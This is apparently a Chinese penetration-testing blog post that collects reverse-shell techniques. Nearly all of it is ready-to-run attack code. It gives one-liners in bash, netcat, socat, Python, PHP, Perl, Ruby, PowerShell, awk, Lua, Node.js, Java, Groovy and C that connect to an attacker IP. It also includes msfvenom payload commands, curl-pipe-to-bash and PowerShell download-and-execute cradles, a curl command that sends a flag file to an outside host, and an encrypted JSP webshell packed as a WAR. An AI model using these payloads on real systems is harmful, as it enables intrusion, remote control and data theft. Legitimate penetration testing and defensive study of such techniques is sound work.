HacKerQWQ的博客空间

渗透测试之反弹shell合集

Word count: 5.2kReading time: 29 min
2022/01/13 Share

假设本机地址10.10.10.11,监听端口443。

Bash环境下反弹TCP协议shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
3
4
5
6
7
8
9
bash -i >& /dev/tcp/10.10.10.11/443 0>&1

/bin/bash -i > /dev/tcp/10.10.10.11/443 0<& 2>&1

exec 5<>/dev/tcp/10.10.10.11/443;cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp/10.10.10.11/443 1>&0 2>&0

0<&196;exec 196<>/dev/tcp/10.10.10.11/443; sh <&196 >&196 2>&196

Bash环境下反弹UDP协议shell:

首先在本地监听UDP协议443端口

1
nc -u -lvp 443

然后在靶机上执行如下命令:

1
sh -i >& /dev/udp/10.10.10.11/443 0>&1

使用Netcat反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

Linux反弹

在靶机上执行如下命令:

1
2
3
4
5
6
7
8
nc -e /bin/sh 10.10.10.11 443
nc -e /bin/bash 10.10.10.11 443
nc -c bash 10.10.10.11 443
mknod backpipe p && nc 10.10.10.11 443 0<backpipe | /bin/bash 1>backpipe
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.11 443 >/tmp/f
rm -f /tmp/p; mknod /tmp/p p && nc 10.10.10.11 443 0/tmp/p 2>&1
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 10.10.10.11 443 > f
rm -f x; mknod x p && nc 10.10.10.11 443 0<x | /bin/bash 1>x

Windows反弹

windows端需要下载nc.exe 戳这:https://eternallybored.org/misc/netcat/【报毒,建议虚拟机下载】

1
2
攻击机监听:nc -lvp 7777
windows端反弹shell:nc x.x.x.x 7777 -e c:\windows\system32\cmd.exe

whois反弹shell

whois -h x.x.x.x -p 9999 whoami

#但是反弹的shell只能执行后面带的命令

msf反弹shell

1
2
进入msf开搞:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=9999 -f exe > /root/shell.exe

图片

1
2
3
4
5
6
7
8
放到自己服务器上让受害者windows主机下载运行
然后攻击机msf:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 攻击机ip
set LPORT 9999
exploit
看到session

图片

使用Ncat反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
ncat 10.10.10.11 443 -e /bin/bash
ncat --udp 10.10.10.11 443 -e /bin/bash

利用curl反弹shell

1
2
bash -i >& /dev/tcp/192.168.20.151/7777 0>&1
curl http://174.1.73.154/shell.txt|bash

PS:OOB的时候可以

1
curl 174.2.171.201:6666 -d @/flag

@表示文件

利用Telnet反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
3
4
rm -f /tmp/p; mknod /tmp/p p && telnet 10.10.10.11 443 0/tmp/p 2>&1
telnet 10.10.10.11 443 | /bin/bash | telnet 10.10.10.11 444
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 10.10.10.11 443 > f
rm -f x; mknod x p && telnet 10.10.10.11 443 0<x | /bin/bash 1>x

使用Socat反弹shell

首先在本地监听TCP协议443端口

1
socat file:`tty`,raw,echo=0 TCP-L:443

然后在靶机上执行如下命令:

1
2
3
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.11:443
socat tcp-connect:10.10.10.11:443 exec:"bash -li",pty,stderr,setsid,sigint,sane
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.11:443

利用Perl脚本反弹

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
perl -e 'use Socket;$i="10.10.10.11";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.11:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

win平台下执行:

1
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.11:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

利用Python脚本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

IPv4协议如下:

1
2
3
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.11",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
export RHOST="10.10.10.11";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.11",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

IPv6协议如下:

1
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",443,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Windows平台如下:

1
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.10.10.11', 443)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

利用PHP脚本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
3
4
5
6
7
php -r '$sock=fsockopen("10.10.10.11",443);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("10.10.10.11",443);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'
php -r '$s=fsockopen("10.10.10.11",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("10.10.10.11",443);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$s=fsockopen("10.10.10.11",443);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("10.10.10.11",443);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$s=\'127.0.0.1\';$p=443;@error_reporting(0);@ini_set("error_log",NULL);@ini_set("log_errors",0);@set_time_limit(0);umask(0);if($s=fsockopen($s,$p,$n,$n)){if($x=proc_open(\'/bin/sh$IFS-i\',array(array(\'pipe\',\'r\'),array(\'pipe\',\'w\'),array(\'pipe\',\'w\')),$p,getcwd())){stream_set_blocking($p[0],0);stream_set_blocking($p[1],0);stream_set_blocking($p[2],0);stream_set_blocking($s,0);while(true){if(feof($s))die(\'connection/closed\');if(feof($p[1]))die(\'shell/not/response\');$r=array($s,$p[1],$p[2]);stream_select($r,$n,$n,null);if(in_array($s,$r))fwrite($p[0],fread($s,1024));if(in_array($p[1],$r))fwrite($s,fread($p[1],1024));if(in_array($p[2],$r))fwrite($s,fread($p[2],1024));}fclose($p[0]);fclose($p[1]);fclose($p[2]);proc_close($x);}else{die("proc_open/disabled");}}else{die("not/connect");}'

利用Ruby脚本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
ruby -rsocket -e'f=TCPSocket.open("10.10.10.11",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.11","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows平台如下:

1
ruby -rsocket -e 'c=TCPSocket.new("10.10.10.11","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

使用OpenSSL反弹shell

首先在本地监听TCP协议443端口

1
2
3
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
ncat --ssl -vv -l -p 443

然后在靶机上执行如下命令:

1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.11:443 > /tmp/s; rm /tmp/s

win平台下使用Powershell反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443
  1. 方法一:powercat

powercat是netcat的powershell版本,

1
下载地址:https://github.com/besimorhino/powercat (需要fq)

两种用法:

(1)下载脚本,powershell本地运行

Import-Module .\powercat.ps1

powercat -c 攻击机IP -p 端口 -e cmd

图片

图片

(2)从url下载使用

1
powershell运行:  (cmd的话命令前面加个powershell一样的)IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') ; powercat -c 攻击机ip -p 端口 -e cmd【这里先下载ps1脚本到自己搭的服务器,再运行powershellIEX (New-Object System.Net.Webclient).DownloadString('https://10.x.x.x/powercat.ps1') ; powercat -c 攻击机ip -p 端口 -e cmd】

图片

图片

  1. 方法二:

在靶机上执行如下命令:

1
2
3
4
5
6
7
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.11",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.11',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('$c=New-Object Net.Sockets.TCPClient("174.1.52.162",6666);$s=$c.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$s.Read($bytes, 0, $bytes.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb+''PS ''+(pwd).Path+''> '';$sb=([Text.Encoding]::Default).GetBytes($sb2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'))

powershell -nop -enc {reverse shell command}

利用Awk反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.11/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

TCL脚本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
echo 'set s [socket 10.10.10.11 443];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

Java版本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

linux平台:

1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.Runtime;
import java.lang.Process;

public class Reverse {
public static void main(String[] args) throws Exception{
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh","-c","/bin/sh -i > /dev/tcp/192.168.119.128/6666 2>&1 0>&1"};
Process pt = rt.exec(commands);
pt.waitFor();
}
}

windows平台:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class WinReverse {
public static void main(String[] args) throws Exception{
String host="192.168.119.128";
int port=6666;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}
}

创建线程:

1
2
3
4
5
6
Thread thread = new Thread(){
public void run(){
// Reverse shell here
}
}
thread.start();

生成War文件反弹shell

msf生成

首先在本地监听TCP协议443端口

1
nc -lvp 443

使用如下命令生成war文件:

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.11 LPORT=443 -f war > reverse.war

查看war包中shell的jsp文件名

1
strings reverse.war | grep jsp

在靶机上部署war包后,访问shell的jsp文件,即可在监听端口获得反弹shell

手动生成

准备shell

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

打包成war包

1
jar -cvf shell.war shell.jsp

使用Lua脚本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令: Linux平台:

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.11','443');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Windows及Linux平台:

1
lua5.1 -e 'local host, port = "10.10.10.11", 443 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS版本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(443, "10.10.10.11", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
require('child_process').exec('nc -e /bin/sh 10.10.10.11 443')
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.10.10.11 443 -e /bin/bash')
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

Groovy版本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
3
4
String host="10.10.10.11";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

生成Meterpreter反弹Shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.11 LPORT=443 -f exe > reverse.exe
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.11 LPORT=443 -f exe > reverse.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.11 LPORT=443 -f elf >reverse.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.11 LPORT=443 -f elf >reverse.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.11" LPORT=443 -f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.11" LPORT=443 -f exe > shell.exe
msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.11" LPORT=443 -f macho > shell.macho
msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.11" LPORT=443 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.11" LPORT=443 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.11" LPORT=443 -f war > shell.war
msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.11" LPORT=443 -f raw > shell.py
msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.11" LPORT=443 -f raw > shell.sh
msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.11" LPORT=443 -f raw > shell.pl

使用Xterm反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
3
xterm -display 10.10.10.11:1
Xnest :1
xhost +targetip

获取TTY

python

1
python -c 'import pty; pty.spawn("/bin/bash")'

C语言反弹shell

Linux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#define ATTACKER_IP "0.0.0.0"
#define ATTACKER_PORT 0
int main(void) {
struct sockaddr_in sa;// struct
sa.sin_family = AF_INET;// AF_INET for IPv4 / AF_INET6 for IPv6
sa.sin_port = htons(ATTACKER_PORT);// htons() takes an integer in host byte order and returns an integer in network byte order used in TCP/IP networks
sa.sin_addr.s_addr = inet_addr(ATTACKER_IP);// inet_addr() interprets the character string representing the IP address
int sockt = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sockt, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
printf("[ERROR] connection failed.\n");
return (1);
}
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char *const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return (0);
}

4中结构的作用

  • sockaddr_in – AF_INET, used for IPv4.
  • sockaddr_in6 – AF_INET6, used for IPv6.
  • sockaddr_un– AF_UNIX (AF_LOCAL), used to communicate between processes on the same machine efficiently.
  • sockaddr– Used as the common date struct for any kind of socket operation (don’t use it, use the specific structure of the operation you are doing).

四种结构的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <netinet/in.h>

/* Common struct:
* socket functions takes this as parameter and use it to identify the
* family (AF_INET, AF_INET6 or AF_UNIX), that way they can behave
* differently depending on the family.
*/
struct sockaddr {
unsigned short sa_family; // 2 bytes: address family, AF_xxx
char sa_data[14]; // 14 bytes: to get to 16 bytes.
};

/* AF_INET (IPv4) structure: */
struct sockaddr_in {
short sin_family; // 2 bytes: AF_INET for IPv4
unsigned short sin_port; // 2 bytes: htons(PORT)
struct in_addr sin_addr; // 4 bytes: see struct in_addr below
char sin_zero[8]; // 8 bytes: to get to 16 bytes.
};

/* Saves a number suitable for use as an Internet address */
struct in_addr {
unsigned long s_addr; // 4 bytes: inet_addr(IP) for IPv4
};

/* Explanation:
* It is interesting to see how the structures fill to reach 16 bytes,
* in this way they all take the same amount of memory (16 bytes), so
* sockaddr can be casted to the other types without problems or losing
* data.
* (Avoid using sockaddr, this is done by the library just to be able
* to receive a common parameter in the functions, and cast once they
* know the type).
*/

建立socket

1
2
3
4
5
6
7
/* Prototype:
* int socket(int domain, int type, int protocol);
* @param domain: communication domain, we are using AF_INET (IPv4).
* @param type: SOCK_STREAM provides sequenced, reliable, two-way, connection-based byte streams.
* @param protocol: a particular protocol to be used (normally only a single protocol exists to support a particular socket type, in which case, protocol can be specified as 0.
*/
int sockt = socket(AF_INET, SOCK_STREAM, 0);

通过connect建立连接

1
2
3
4
5
6
/* connect() receives by parameter the socket in which to make
* the connection, and our structure with all the information.
* The third parameter is to indicate the size of the structure
* and avoid segfaults.
*/
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

当返回值是0时说明建立连接成功,其他则失败

实现反弹shell的步骤

  1. 将stdin、stdout、stderr复制到socket,用于将攻击者的任何东西通过socket fd传到stdin,将产生的stdout、stderr通过socket fd传到攻击者处。

  2. 攻击者获得交互式的shell

第一步可以通过dup2()来实现

1
2
3
dup2(sockt, 0);//使用sockt的fd作为stdin的fd引用
dup2(sockt, 1);//使用sockt的fd作为stdout的fd引用
dup2(sockt, 2);//使用sockt的fd作为stderr的fd引用

第二部通过execve()实现

1
2
3
4
5
6
7
8
/*
const char *pathname: the binary path.
char *const argv[]: the program arguments, none in our case (not counting argv[0], the name of the program, it is a required argument).
char *const envp[]: the enviroment variables, none in our case.
*/

char *const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);

编译

1
gcc -o shell shell.c 

相关项目

https://github.com/izenynn/c-reverse-shell

安装:

1
sudo apt install gcc-mingw-w64

使用

1
2
3
4
5
6
7
git clone https://github.com/izenynn/c-reverse-shell.git
#修改反弹ip和port
./change_client.sh [CLIENT_IP] [CLIENT_PORT]
#编译
make
#执行
./reverse.elf

image-20220915162324453

参考链接

CATALOG
  1. 1. Bash环境下反弹TCP协议shell
  2. 2. Bash环境下反弹UDP协议shell:
  3. 3. 使用Netcat反弹shell
    1. 3.1. Linux反弹
    2. 3.2. Windows反弹
  4. 4. whois反弹shell
  5. 5. msf反弹shell
  6. 6. 使用Ncat反弹shell
  7. 7. 利用curl反弹shell
  8. 8. 利用Telnet反弹shell
  9. 9. 使用Socat反弹shell
  10. 10. 利用Perl脚本反弹
  11. 11. 利用Python脚本反弹shell
  12. 12. 利用PHP脚本反弹shell
  13. 13. 利用Ruby脚本反弹shell
  14. 14. 使用OpenSSL反弹shell
  15. 15. win平台下使用Powershell反弹shell
  16. 16. 利用Awk反弹shell
  17. 17. TCL脚本反弹shell
  18. 18. Java版本反弹shell
  19. 19. 生成War文件反弹shell
    1. 19.1. msf生成
    2. 19.2. 手动生成
  20. 20. 使用Lua脚本反弹shell
  21. 21. NodeJS版本反弹shell
  22. 22. Groovy版本反弹shell
  23. 23. 生成Meterpreter反弹Shell:
  24. 24. 使用Xterm反弹shell
  25. 25. 获取TTY
  26. 26. C语言反弹shell
    1. 26.1. Linux
    2. 26.2. 相关项目
  27. 27. 参考链接